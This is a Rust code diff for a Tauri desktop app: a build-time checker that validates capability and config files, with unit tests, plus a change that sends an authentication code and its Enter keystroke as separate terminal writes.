/// `file_viewer/mod.rs` pin those.
|
||||
pub fn capability_file(name: &str, json: &str) -> Result<CapabilityFile, String> {
|
||||
let value: serde_json::Value =
|
||||
serde_json::from_str(json).map_err(|e| format!("{name}: not valid JSON: {e}"))?;
|
||||
// `webviews` would extend the grants to webviews by label (the browser-view pop-out is
|
||||
// meant to be in no capability), and `remote` would extend them to a remote origin. The
|
||||
// census reasons about `windows` only, so either key is refused rather than half-checked.
|
||||
for key in ["webviews", "remote"] {
|
||||
if value.get(key).is_some() {
|
||||
return Err(format!(
|
||||
"{name}: `{key}` is not allowed; capabilities here are scoped by `windows` only"
|
||||
));
|
||||
}
|
||||
}
|
||||
let windows = value["windows"]
|
||||
.as_array()
|
||||
.ok_or_else(|| format!("{name}: `windows` must be an array"))?
|
||||
.iter()
|
||||
.map(|w| {
|
||||
w.as_str()
|
||||
.map(str::to_string)
|
||||
.ok_or_else(|| format!("{name}: `windows` entries must be strings"))
|
||||
})
|
||||
.collect::<Result<Vec<_>, _>>()?;
|
||||
let mut bare = Vec::new();
|
||||
for grant in value["permissions"]
|
||||
.as_array()
|
||||
.ok_or_else(|| format!("{name}: `permissions` must be an array"))?
|
||||
{
|
||||
let id = match grant {
|
||||
serde_json::Value::String(s) => s.as_str(),
|
||||
serde_json::Value::Object(o) => o
|
||||
.get("identifier")
|
||||
.and_then(|i| i.as_str())
|
||||
.ok_or_else(|| format!("{name}: a scoped grant needs a string `identifier`"))?,
|
||||
_ => return Err(format!("{name}: a grant is a string or an object")),
|
||||
};
|
||||
if !id.contains(':') {
|
||||
bare.push(id.to_string());
|
||||
}
|
||||
}
|
||||
Ok(CapabilityFile { name: name.to_string(), windows, bare })
|
||||
}
|
||||
|
||||
/// Why an entry directly under `capabilities/` cannot be a capability the census reads, or
|
||||
/// `None` if it is one (a top-level `*.json` file). tauri-build loads `capabilities/**/*` with
|
||||
/// the extensions `json`, `toml` and (with a feature) `json5`, subdirectories included; the
|
||||
/// census reads only top-level JSON, so anything else tauri might load is refused rather than
|
||||
/// left for tauri to grant from unchecked. OS and editor junk, which tauri never loads, is the
|
||||
/// caller's to skip first (see [`is_os_junk`]).
|
||||
pub fn stray_capability_entry(name: &str, is_file: bool) -> Option<String> {
|
||||
if !is_file {
|
||||
return Some(format!(
|
||||
"capabilities/{name} is not a regular file; tauri loads capabilities from \
|
||||
subdirectories too, so every capability must be a top-level capabilities/*.json"
|
||||
));
|
||||
}
|
||||
if name.ends_with(".json") {
|
||||
return None;
|
||||
}
|
||||
Some(format!(
|
||||
"capabilities/{name} is not a .json file; tauri may load it (it reads .toml and .json5 \
|
||||
too) but the census cannot check it, so every capability must be a top-level \
|
||||
capabilities/*.json"
|
||||
))
|
||||
}
|
||||
|
||||
/// Files the OS or an editor drops next to real ones (`.DS_Store`, `Thumbs.db`, `desktop.ini`,
|
||||
/// Vim swap files, `name~` backups). tauri-build loads only `json`/`toml`/`json5` from
|
||||
/// `capabilities/` and `permissions/`, so a junk name with one of those extensions (an Emacs
|
||||
/// `.#default.json` lock, a macOS `._default.json`) is *not* junk: tauri would try to load it,
|
||||
/// and the caller must refuse it.
|
||||
pub fn is_os_junk(name: &str) -> bool {
|
||||
let loadable = [".json", ".json5", ".toml"].iter().any(|e| name.ends_with(e));
|
||||
!loadable
|
||||
&& (matches!(name, ".DS_Store" | "Thumbs.db" | "desktop.ini")
|
||||
|| name.ends_with(".swp")
|
||||
|| name.ends_with(".swo")
|
||||
|| name.ends_with('~'))
|
||||
}
|
||||
|
||||
/// Which files next to `Cargo.toml` tauri reads as its config: `tauri.conf.json[5]`,
|
||||
/// `Tauri.toml` and the per-platform `tauri.<platform>.conf.json[5]` / `Tauri.<platform>.toml`
|
||||
/// (tauri-utils `config/parse.rs`). `Some(true)` = JSON the census can read, `Some(false)` = a
|
||||
/// format it cannot (JSON5/TOML), `None` = not a tauri config file.
|
||||
pub fn tauri_config_file(name: &str) -> Option<bool> {
|
||||
if name.starts_with("tauri.") && name.ends_with(".conf.json") {
|
||||
Some(true)
|
||||
} else if (name.starts_with("tauri.") && name.ends_with(".conf.json5"))
|
||||
|| (name.starts_with("Tauri.") && name.ends_with(".toml"))
|
||||
{
|
||||
Some(false)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// A problem with a tauri config (a `tauri*.conf.json` file, or the `TAURI_CONFIG` JSON that
|
||||
/// tauri-build merges over it), or `None`. `app.security.capabilities` is refused whenever it
|
||||
/// is non-empty: an inline object is a capability the census never sees, and a list of
|
||||
/// identifiers switches every *other* capability file off, which the census also assumes is
|
||||
/// not happening.
|
||||
pub fn tauri_config_problem(name: &str, json: &str) -> Option<String> {
|
||||
let value: serde_json::Value = match serde_json::from_str(json) {
|
||||
Ok(v) => v,
|
||||
Err(e) => return Some(format!("{name}: not valid JSON: {e}")),
|
||||
};
|
||||
match value.pointer("/app/security/capabilities") {
|
||||
None | Some(serde_json::Value::Null) => None,
|
||||
Some(serde_json::Value::Array(a)) if a.is_empty() => None,
|
||||
Some(_) => Some(format!(
|
||||
"{name}: app.security.capabilities is not allowed; every capability lives in a \
|
||||
top-level capabilities/*.json file, where the census checks it"
|
||||
)),
|
||||
}
|
||||
}
|
||||
|
||||
/// Everything that must hold between the handler list and the capability files. Returns every
|
||||
/// violation rather than the first, so a batch of forgotten grants is one build failure; an
|
||||
/// empty vector is a pass.
|
||||
pub fn check(commands: &[String], files: &[CapabilityFile]) -> Vec<String> {
|
||||
let mut problems = Vec::new();
|
||||
if commands.is_empty() {
|
||||
problems.push(
|
||||
"no commands were parsed out of generate_handler! — an empty AppManifest would \
|
||||
silently leave every app command ungated"
|
||||
.to_string(),
|
||||
);
|
||||
return problems;
|
||||
}
|
||||
|
||||
let mut seen: BTreeSet<&str> = BTreeSet::new();
|
||||
for c in commands {
|
||||
if !c.bytes().all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'_') {
|
||||
problems.push(format!("{c:?} is not a command name ([a-z0-9_]+)"));
|
||||
}
|
||||
if !seen.insert(c.as_str()) {
|
||||
problems.push(format!("{c} is registered more than once"));
|
||||
}
|
||||
}
|
||||
|
||||
let known: BTreeMap<String, &str> =
|
||||
seen.iter().map(|c| (allow_permission(c), *c)).collect();
|
||||
for f in files {
|
||||
let windows: Vec<&str> = f.windows.iter().map(String::as_str).collect();
|
||||
for id in &f.bare {
|
||||
match known.get(id) {
|
||||
Some(command) => {
|
||||
let want = expected_windows(command);
|
||||
if windows.as_slice() != want {
|
||||
problems.push(format!(
|
||||
"{}: {id} must be granted in the capability file whose windows are \
|
||||
{want:?}, not {windows:?}",
|
||||
f.name
|
||||
));
|
||||
}
|
||||
}
|
||||
None if id.starts_with("deny-") => problems.push(format!(
|
||||
"{}: {id}: deny-* is global in tauri 2.11 — it would deny the command for \
|
||||
every window, not just this one; use allow-lists only",
|
||||
f.name
|
||||
)),
|
||||
None if id.starts_with("allow-") => problems.push(format!(
|
||||
"{}: {id} names no registered command (the identifier is allow-<command> \
|
||||
with every `_` replaced by `-`)",
|
||||
f.name
|
||||
)),
|
||||
None => problems.push(format!(
|
||||
"{}: {id}: only allow-<command> app grants are permitted as bare identifiers",
|
||||
f.name
|
||||
)),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for c in &seen {
|
||||
let id = allow_permission(c);
|
||||
let holders: Vec<&str> = files
|
||||
.iter()
|
||||
.filter(|f| f.bare.iter().any(|b| b == &id))
|
||||
.map(|f| f.name.as_str())
|
||||
.collect();
|
||||
match holders.len() {
|
||||
0 => problems.push(format!(
|
||||
"{c} is registered but no capability file grants {id}; add it to the file \
|
||||
whose windows are {:?}",
|
||||
expected_windows(c)
|
||||
)),
|
||||
1 => {}
|
||||
_ => problems.push(format!(
|
||||
"{id} is granted in more than one capability file: {holders:?}"
|
||||
)),
|
||||
}
|
||||
}
|
||||
problems
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn cmds(names: &[&str]) -> Vec<String> {
|
||||
names.iter().map(|n| n.to_string()).collect()
|
||||
}
|
||||
|
||||
fn file(name: &str, windows: &[&str], bare: &[&str]) -> CapabilityFile {
|
||||
CapabilityFile {
|
||||
name: name.to_string(),
|
||||
windows: windows.iter().map(|w| w.to_string()).collect(),
|
||||
bare: bare.iter().map(|b| b.to_string()).collect(),
|
||||
}
|
||||
}
|
||||
|
||||
/// The two files as they must look after the lockdown, for a three-command app.
|
||||
fn good_files() -> Vec<CapabilityFile> {
|
||||
vec![
|
||||
file("default.json", &["main"], &["allow-check-docker", "allow-open-file-viewer"]),
|
||||
file("file-viewer.json", &["file-viewer-*"], &["allow-viewer-read-file"]),
|
||||
]
|
||||
}
|
||||
|
||||
const THREE: &[&str] = &["check_docker", "open_file_viewer", "viewer_read_file"];
|
||||
|
||||
#[test]
|
||||
fn the_parser_reads_the_handler_list_in_order_and_ignores_comments() {
|
||||
let lib_rs = r#"
|
||||
.invoke_handler(tauri::generate_handler![
|
||||
// Docker
|
||||
commands::docker_commands::check_docker,
|
||||
commands::docker_commands::build_image, // trailing comment is not a command
|
||||
url_open::open_url_external,
|
||||
|
||||
// Viewer
|
||||
commands::file_viewer_commands::viewer_read_file
|
||||
])
|
||||
.run(tauri::generate_context!())
|
||||
"#;
|
||||
assert_eq!(
|
||||
registered_commands(lib_rs).unwrap(),
|
||||
cmds(&["check_docker", "build_image", "open_url_external", "viewer_read_file"])
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_parser_keeps_duplicates_so_the_caller_can_report_them() {
|
||||
let lib_rs = "generate_handler![\n a::x,\n b::x,\n])";
|
||||
assert_eq!(registered_commands(lib_rs).unwrap(), cmds(&["x", "x"]));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_parser_returns_none_without_a_handler_block() {
|
||||
assert_eq!(registered_commands("fn main() {}"), None);
|
||||
assert_eq!(registered_commands("generate_handler![ a::b, "), None, "unterminated");
|
||||
}
|
||||
|
||||
/// The bug this regression-tests: a line-split parser applies `rsplit("::").next()` once
|
||||
/// per *line*, so two commands sharing a line collapse into one item and the first is
|
||||
/// silently dropped. Comma-splitting must keep both regardless of layout.
|
||||
#[test]
|
||||
fn two_commands_on_one_line_are_both_kept() {
|
||||
let lib_rs = "generate_handler![\n a::x, b::y,\n])";
|
||||
assert_eq!(registered_commands(lib_rs).unwrap(), cmds(&["x", "y"]));
|
||||
}
|
||||
|
||||
/// Mirrors the real `lib.rs` handler list's shape: `// Section` comments between groups,
|
||||
/// and command paths one (`open_url_external`), two (`url_open::open_url_external`) and
|
||||
/// three (`commands::docker_commands::check_docker`) segments deep, all ending in a comma
|
||||
/// except the last entry before `])`.
|
||||
#[test]
|
||||
fn a_fixture_shaped_like_the_real_handler_list_parses_every_command() {
|
||||
let lib_rs = r#"
|
||||
.invoke_handler(tauri::generate_handler![
|
||||
// Docker
|
||||
commands::docker_commands::check_docker,
|
||||
commands::docker_commands::build_image,
|
||||
// Opening a link in the host browser
|
||||
url_open::open_url_external,
|
||||
// Bare, module-less command
|
||||
open_help,
|
||||
// Terminal file viewer
|
||||
commands::file_viewer_commands::viewer_read_file
|
||||
])
|
||||
.run(tauri::generate_context!())
|
||||
"#;
|
||||
assert_eq!(
|
||||
registered_commands(lib_rs).unwrap(),
|
||||
cmds(&[
|
||||
"check_docker",
|
||||
"build_image",
|
||||
"open_url_external",
|
||||
"open_help",
|
||||
"viewer_read_file",
|
||||
])
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn permission_identifiers_replace_only_underscores() {
|
||||
assert_eq!(allow_permission("check_docker"), "allow-check-docker");
|
||||
assert_eq!(allow_permission("viewer_read_file"), "allow-viewer-read-file");
|
||||
assert_eq!(allow_permission("aws_sso_refresh"), "allow-aws-sso-refresh");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn viewer_commands_belong_to_the_viewer_windows_and_nothing_else_does() {
|
||||
assert_eq!(expected_windows("viewer_read_file"), ["file-viewer-*"]);
|
||||
assert_eq!(expected_windows("open_file_viewer"), ["main"]);
|
||||
assert_eq!(expected_windows("check_docker"), ["main"]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_capability_file_yields_its_windows_and_bare_grants_only() {
|
||||
let json = r#"{
|
||||
"identifier": "default",
|
||||
"description": "x",
|
||||
"windows": ["main"],
|
||||
"permissions": [
|
||||
"core:event:allow-listen",
|
||||
{ "identifier": "fs:allow-read", "allow": [{ "path": "$APPDATA/*" }] },
|
||||
"allow-check-docker",
|
||||
{ "identifier": "allow-list-projects" }
|
||||
]
|
||||
}"#;
|
||||
let parsed = capability_file("default.json", json).unwrap();
|
||||
assert_eq!(parsed.name, "default.json");
|
||||
assert_eq!(parsed.windows, vec!["main"]);
|
||||
assert_eq!(parsed.bare, vec!["allow-check-docker", "allow-list-projects"]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_capability_file_without_windows_or_permissions_is_an_error() {
|
||||
assert!(capability_file("x.json", r#"{"permissions": []}"#).unwrap_err().contains("windows"));
|
||||
assert!(capability_file("x.json", r#"{"windows": ["main"]}"#).unwrap_err().contains("permissions"));
|
||||
assert!(capability_file("x.json", "not json").unwrap_err().contains("x.json"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn webviews_and_remote_keys_are_refused() {
|
||||
let with = |extra: &str| {
|
||||
format!(r#"{{"windows": ["main"], {extra}, "permissions": ["allow-check-docker"]}}"#)
|
||||
};
|
||||
let err = capability_file("d.json", &with(r#""webviews": ["browser-view-*"]"#)).unwrap_err();
|
||||
assert!(err.contains("d.json") && err.contains("`webviews`"), "{err}");
|
||||
let err = capability_file("d.json", &with(r#""remote": {"urls": ["https://*"]}"#)).unwrap_err();
|
||||
assert!(err.contains("`remote`"), "{err}");
|
||||
// Present-but-empty is still refused: the key itself is the widening surface.
|
||||
assert!(capability_file("d.json", &with(r#""webviews": []"#)).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn only_top_level_json_files_are_capabilities() {
|
||||
assert_eq!(stray_capability_entry("default.json", true), None);
|
||||
for name in ["extra.toml", "extra.json5", "notes.txt", ".DS_Store"] {
|
||||
let err = stray_capability_entry(name, true).expect(name);
|
||||
assert!(err.contains(name) && err.contains("not a .json file"), "{err}");
|
||||
}
|
||||
let err = stray_capability_entry("sub", false).unwrap();
|
||||
assert!(err.contains("capabilities/sub") && err.contains("not a regular file"), "{err}");
|
||||
// A directory named like a capability is still a directory.
|
||||
assert!(stray_capability_entry("x.json", false).is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn os_junk_is_recognised_but_never_something_tauri_would_load() {
|
||||
for junk in [".DS_Store", "Thumbs.db", "desktop.ini", ".default.json.swp", ".x.swo", "default.json~"] {
|
||||
assert!(is_os_junk(junk), "{junk}");
|
||||
}
|
||||
for real in ["default.json", "x.toml", "x.json5", ".#default.json", "._default.json", "notes.txt", "extra"] {
|
||||
assert!(!is_os_junk(real), "{real}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tauri_config_files_are_found_by_name_and_format() {
|
||||
assert_eq!(tauri_config_file("tauri.conf.json"), Some(true));
|
||||
assert_eq!(tauri_config_file("tauri.linux.conf.json"), Some(true));
|
||||
assert_eq!(tauri_config_file("tauri.conf.json5"), Some(false));
|
||||
assert_eq!(tauri_config_file("tauri.windows.conf.json5"), Some(false));
|
||||
assert_eq!(tauri_config_file("Tauri.toml"), Some(false));
|
||||
assert_eq!(tauri_config_file("Tauri.macos.toml"), Some(false));
|
||||
assert_eq!(tauri_config_file("Cargo.toml"), None);
|
||||
assert_eq!(tauri_config_file("build.rs"), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn inline_capabilities_in_the_tauri_config_are_refused() {
|
||||
let ok = r#"{"app": {"security": {"csp": "default-src 'self'"}}}"#;
|
||||
assert_eq!(tauri_config_problem("tauri.conf.json", ok), None);
|
||||
assert_eq!(tauri_config_problem("t", r#"{"app": {"security": {"capabilities": []}}}"#), None);
|
||||
assert_eq!(tauri_config_problem("t", r#"{"build": {"beforeBuildCommand": ""}}"#), None);
|
||||
let inline = r#"{"app": {"security": {"capabilities": [
|
||||
{"identifier": "x", "windows": ["file-viewer-*"], "permissions": ["allow-read-container-file"]}
|
||||
]}}}"#;
|
||||
let err = tauri_config_problem("tauri.conf.json", inline).unwrap();
|
||||
assert!(err.contains("tauri.conf.json") && err.contains("app.security.capabilities"), "{err}");
|
||||
let by_name = r#"{"app": {"security": {"capabilities": ["default"]}}}"#;
|
||||
assert!(tauri_config_problem("TAURI_CONFIG", by_name).unwrap().contains("TAURI_CONFIG"));
|
||||
assert!(tauri_config_problem("t", "{").unwrap().contains("not valid JSON"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_correct_census_has_no_problems() {
|
||||
assert_eq!(check(&cmds(THREE), &good_files()), Vec::<String>::new());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_empty_command_list_is_refused_because_it_would_disable_the_acl() {
|
||||
let problems = check(&[], &good_files());
|
||||
assert_eq!(problems.len(), 1);
|
||||
assert!(problems[0].contains("no commands"), "{problems:?}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_command_without_a_grant_is_named_together_with_the_file_it_belongs_in() {
|
||||
let files = vec![
|
||||
file("default.json", &["main"], &["allow-check-docker"]),
|
||||
file("file-viewer.json", &["file-viewer-*"], &["allow-viewer-read-file"]),
|
||||
];
|
||||
let problems = check(&cmds(THREE), &files);
|
||||
assert_eq!(problems.len(), 1, "{problems:?}");
|
||||
assert!(problems[0].contains("open_file_viewer"));
|
||||
assert!(problems[0].contains("allow-open-file-viewer"));
|
||||
assert!(problems[0].contains("[\"main\"]"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_grant_in_two_files_is_reported_once_naming_both() {
|
||||
let files = vec![
|
||||
file("default.json", &["main"], &["allow-check-docker", "allow-open-file-viewer"]),
|
||||
file("extra.json", &["main"], &["allow-check-docker"]),
|
||||
file("file-viewer.json", &["file-viewer-*"], &["allow-viewer-read-file"]),
|
||||
];
|
||||
let problems = check(&cmds(THREE), &files);
|
||||
assert_eq!(problems.len(), 1, "{problems:?}");
|
||||
assert!(problems[0].contains("allow-check-docker"));
|
||||
assert!(problems[0].contains("default.json") && problems[0].contains("extra.json"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_grant_that_names_no_command_is_a_typo() {
|
||||
let mut files = good_files();
|
||||
files[0].bare.push("allow-check-dokcer".to_string());
|
||||
let problems = check(&cmds(THREE), &files);
|
||||
assert_eq!(problems.len(), 1, "{problems:?}");
|
||||
assert!(problems[0].contains("default.json: allow-check-dokcer"));
|
||||
assert!(problems[0].contains("no registered command"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deny_grants_are_refused_with_the_reason() {
|
||||
let mut files = good_files();
|
||||
files[1].bare.push("deny-check-docker".to_string());
|
||||
let problems = check(&cmds(THREE), &files);
|
||||
assert_eq!(problems.len(), 1, "{problems:?}");
|
||||
assert!(problems[0].contains("file-viewer.json: deny-check-docker"));
|
||||
assert!(problems[0].contains("global"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn other_bare_identifiers_are_refused() {
|
||||
let mut files = good_files();
|
||||
files[0].bare.push("default".to_string());
|
||||
let problems = check(&cmds(THREE), &files);
|
||||
assert_eq!(problems.len(), 1, "{problems:?}");
|
||||
assert!(problems[0].contains("default.json: default"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_grant_in_the_wrong_file_is_refused_even_though_it_is_granted_exactly_once() {
|
||||
let files = vec![
|
||||
file("default.json", &["main"], &["allow-check-docker", "allow-open-file-viewer", "allow-viewer-read-file"]),
|
||||
file("file-viewer.json", &["file-viewer-*"], &[]),
|
||||
];
|
||||
let problems = check(&cmds(THREE), &files);
|
||||
assert_eq!(problems.len(), 1, "{problems:?}");
|
||||
assert!(problems[0].contains("allow-viewer-read-file"));
|
||||
assert!(problems[0].contains("[\"file-viewer-*\"]"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_widened_windows_list_is_the_wrong_file_too() {
|
||||
let files = vec![
|
||||
file("default.json", &["main", "file-viewer-*"], &["allow-check-docker", "allow-open-file-viewer"]),
|
||||
file("file-viewer.json", &["file-viewer-*"], &["allow-viewer-read-file"]),
|
||||
];
|
||||
let problems = check(&cmds(THREE), &files);
|
||||
assert_eq!(problems.len(), 2, "{problems:?}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn bad_names_and_duplicate_registrations_are_refused() {
|
||||
let commands = cmds(&["check_docker", "Check-Docker", "check_docker", "open_file_viewer", "viewer_read_file"]);
|
||||
let problems = check(&commands, &good_files());
|
||||
assert!(problems.iter().any(|p| p.contains("\"Check-Docker\"") && p.contains("[a-z0-9_]+")), "{problems:?}");
|
||||
assert!(problems.iter().any(|p| p.contains("check_docker is registered more than once")), "{problems:?}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn every_problem_is_reported_in_one_pass() {
|
||||
let files = vec![
|
||||
file("default.json", &["main"], &["allow-check-docker", "allow-nope", "deny-check-docker"]),
|
||||
file("file-viewer.json", &["file-viewer-*"], &[]),
|
||||
];
|
||||
let problems = check(&cmds(THREE), &files);
|
||||
// typo, deny, open_file_viewer missing, viewer_read_file missing
|
||||
assert_eq!(problems.len(), 4, "{problems:?}");
|
||||
}
|
||||
}
|
||||
@@ -106,6 +106,16 @@ const CODE_REJECTED_EVENT: &str = "claude-token-code-rejected";
|
||||
/// browser, sign in, and approve. Bounded so a wedged exec can't leak a task.
|
||||
const SETUP_TIMEOUT: Duration = Duration::from_secs(15 * 60);
|
||||
|
||||
/// Pause between typing the pasted code and pressing Enter.
|
||||
///
|
||||
/// The CLI's prompt reads a multi-byte chunk as a paste, and a `\r` inside a
|
||||
/// paste is swallowed with it rather than submitting. Code and Enter in one
|
||||
/// write therefore fill the prompt and submit nothing, and the flow waits out
|
||||
/// [`SETUP_TIMEOUT`]. Measured against 2.1.283 under a pty: 20 ms apart
|
||||
/// already submits reliably; this leaves headroom for the extra hops through
|
||||
/// Docker's exec socket, which can merge writes that arrive close together.
|
||||
pub(crate) const SUBMIT_ENTER_DELAY: Duration = Duration::from_millis(250);
|
||||
|
||||
/// Documented shape of a `setup-token` credential.
|
||||
const TOKEN_PREFIX: &str = "sk-ant-oat01-";
|
||||
|
||||
@@ -611,7 +621,7 @@ const MAX_ANSI_CARRY: usize = 64 * 1024;
|
||||
/// Stateful wrapper around [`strip_ansi_prefix`] that carries an incomplete
|
||||
/// trailing sequence over to the next chunk.
|
||||
#[derive(Default)]
|
||||
struct AnsiStripper {
|
||||
pub(crate) struct AnsiStripper {
|
||||
carry: Vec<u8>,
|
||||
/// OSC 8 link targets seen since the last [`AnsiStripper::take_links`].
|
||||
/// Kept out of the return value so every existing caller and test of
|
||||
@@ -620,7 +630,7 @@ struct AnsiStripper {
|
||||
}
|
||||
|
||||
impl AnsiStripper {
|
||||
fn push(&mut self, chunk: &[u8]) -> String {
|
||||
pub(crate) fn push(&mut self, chunk: &[u8]) -> String {
|
||||
self.carry.extend_from_slice(chunk);
|
||||
let (mut out, links, consumed) = strip_ansi_prefix(&self.carry);
|
||||
self.record_links(links);
|
||||
@@ -634,7 +644,7 @@ impl AnsiStripper {
|
||||
// fresh chunk, which re-enters here.
|
||||
if self.carry.len() > MAX_ANSI_CARRY {
|
||||
log::warn!(
|
||||
"`claude setup-token` emitted an unterminated control sequence \
|
||||
"the command emitted an unterminated control sequence \
|
||||
longer than {} bytes — treating it as text",
|
||||
MAX_ANSI_CARRY
|
||||
);
|
||||
@@ -724,7 +734,7 @@ const REJECTION_SCAN_WINDOW: usize = 4096;
|
||||
const CODE_REJECTED_MARKERS: &[&str] = &["invalid code", "press enter to retry"];
|
||||
|
||||
/// Append `chunk` to `buf`, keeping no more than `cap` bytes of the tail.
|
||||
fn push_capped_tail(buf: &mut String, chunk: &str, cap: usize) {
|
||||
pub(crate) fn push_capped_tail(buf: &mut String, chunk: &str, cap: usize) {
|
||||
buf.push_str(chunk);
|
||||
if buf.len() <= cap {
|
||||
return;
|
||||
@@ -837,9 +847,23 @@ unset CLAUDE_CODE_OAUTH_TOKEN ANTHROPIC_API_KEY ANTHROPIC_AUTH_TOKEN ANTHROPIC_B
|
||||
ANTHROPIC_MODEL CLAUDE_CODE_USE_BEDROCK AWS_BEARER_TOKEN_BEDROCK
|
||||
exec claude setup-token"#;
|
||||
|
||||
/// Type `code` into the CLI's prompt, then press Enter as a separate keystroke.
|
||||
///
|
||||
/// See [`SUBMIT_ENTER_DELAY`] for why the two cannot share a write.
|
||||
async fn type_code_then_enter<W: tokio::io::AsyncWrite + Unpin>(
|
||||
input: &mut W,
|
||||
code: &[u8],
|
||||
) -> std::io::Result<()> {
|
||||
input.write_all(code).await?;
|
||||
input.flush().await?;
|
||||
tokio::time::sleep(SUBMIT_ENTER_DELAY).await;
|
||||
input.write_all(b"\r").await?;
|
||||
input.flush().await
|
||||
}
|
||||
|
||||
/// Run `claude setup-token` in the container and return the token it printed.
|
||||
/// Streams redacted output as it arrives and forwards anything arriving on
|
||||
/// `input_rx` (the user's pasted code) to the command's stdin.
|
||||
/// `input_rx` (the user's pasted code) to the command's stdin, each followed by Enter.
|
||||
async fn run_setup_token(
|
||||
app: &AppHandle,
|
||||
project_id: &str,
|
||||
@@ -894,14 +918,13 @@ async fn run_setup_token(
|
||||
"Authentication cancelled. No token was stored.".to_string()
|
||||
);
|
||||
}
|
||||
Some(data) = input_rx.recv() => {
|
||||
if let Err(e) = input.write_all(&data).await {
|
||||
Some(code) = input_rx.recv() => {
|
||||
if let Err(e) = type_code_then_enter(&mut input, &code).await {
|
||||
return Err(format!(
|
||||
"Could not send the code to `claude setup-token`: {}. No token was stored.",
|
||||
e
|
||||
));
|
||||
}
|
||||
let _ = input.flush().await;
|
||||
// Arm the rejection detector. Anything the CLI says from here
|
||||
// on is a verdict on *this* code.
|
||||
awaiting_code_result = true;
|
||||
@@ -1158,10 +1181,9 @@ pub async fn submit_claude_token_code(code: String) -> Result<(), String> {
|
||||
.to_string()
|
||||
})?;
|
||||
|
||||
let mut keystrokes = code.as_bytes().to_vec();
|
||||
keystrokes.push(b'\r');
|
||||
// Just the code: the flow presses Enter itself, as a separate keystroke.
|
||||
sender
|
||||
.send(keystrokes)
|
||||
.send(code.as_bytes().to_vec())
|
||||
.map_err(|_| "The authentication flow has already ended.".to_string())
|
||||
}
|
||||
|
||||
@@ -2229,4 +2251,50 @@ mod tests {
|
||||
assert_eq!(outcome.snapshots_skipped.len(), 1, "{:?}", outcome);
|
||||
assert!(outcome.snapshots_failed.is_empty(), "{:?}", outcome);
|
||||
}
|
||||
|
||||
/// Records every `poll_write` as a separate entry, with when it landed, so
|
||||
/// a test can see write boundaries that a byte pipe would merge.
|
||||
#[derive(Default)]
|
||||
struct RecordingWriter {
|
||||
writes: Vec<(tokio::time::Instant, Vec<u8>)>,
|
||||
}
|
||||
|
||||
impl tokio::io::AsyncWrite for RecordingWriter {
|
||||
fn poll_write(
|
||||
mut self: std::pin::Pin<&mut Self>,
|
||||
_cx: &mut std::task::Context<'_>,
|
||||
buf: &[u8],
|
||||
) -> std::task::Poll<std::io::Result<usize>> {
|
||||
self.writes
|
||||
.push((tokio::time::Instant::now(), buf.to_vec()));
|
||||
std::task::Poll::Ready(Ok(buf.len()))
|
||||
}
|
||||
fn poll_flush(
|
||||
self: std::pin::Pin<&mut Self>,
|
||||
_cx: &mut std::task::Context<'_>,
|
||||
) -> std::task::Poll<std::io::Result<()>> {
|
||||
std::task::Poll::Ready(Ok(()))
|
||||
}
|
||||
fn poll_shutdown(
|
||||
self: std::pin::Pin<&mut Self>,
|
||||
_cx: &mut std::task::Context<'_>,
|
||||
) -> std::task::Poll<std::io::Result<()>> {
|
||||
std::task::Poll::Ready(Ok(()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Code and Enter in one write is read by the CLI as a paste: the code
|
||||
/// fills the prompt and the `\r` is swallowed with it, so nothing is
|
||||
/// submitted and the flow sits until `SETUP_TIMEOUT`. Measured against
|
||||
/// 2.1.283 under a pty; a separate Enter 20 ms later submits.
|
||||
#[tokio::test(start_paused = true)]
|
||||
async fn the_code_and_its_enter_are_separate_writes() {
|
||||
let mut w = RecordingWriter::default();
|
||||
type_code_then_enter(&mut w, b"abc#def").await.unwrap();
|
||||
|
||||
assert_eq!(w.writes.len(), 2, "expected two writes, got {:?}", w.writes);
|
||||
assert_eq!(w.writes[0].1, b"abc#def");
|
||||
assert_eq!(w.writes[1].1, b"\r");
|
||||
assert!(w.writes[1].0 - w.writes[0].0 >= SUBMIT_ENTER_DELAY);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -46,7 +46,7 @@ pub struct FileContents {
|
||||
/// Hard ceiling on a single viewer read, whatever the caller asks for. The tar
|
||||
/// path buffers the whole payload in host RAM, so a caller-supplied cap is not
|
||||
/// something to take on trust.
|
||||
const MAX_READ_BYTES: u64 = 8 * 1024 * 1024;
|
||||
pub(crate) const MAX_READ_BYTES: u64 = 8 * 1024 * 1024;
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn list_container_files(
|
||||
@@ -352,7 +352,7 @@ const CONTAINER_WRITE_ROOTS: &[&str] = &["/workspace", "/home/claude", "/tmp"];
|
||||
///
|
||||
/// `what` names the parameter in the error, because these messages are shown to
|
||||
/// a user who is looking at a folder, not at argv.
|
||||
fn validate_container_path(what: &str, path: &str) -> Result<(), String> {
|
||||
pub(crate) fn validate_container_path(what: &str, path: &str) -> Result<(), String> {
|
||||
if path.is_empty() {
|
||||
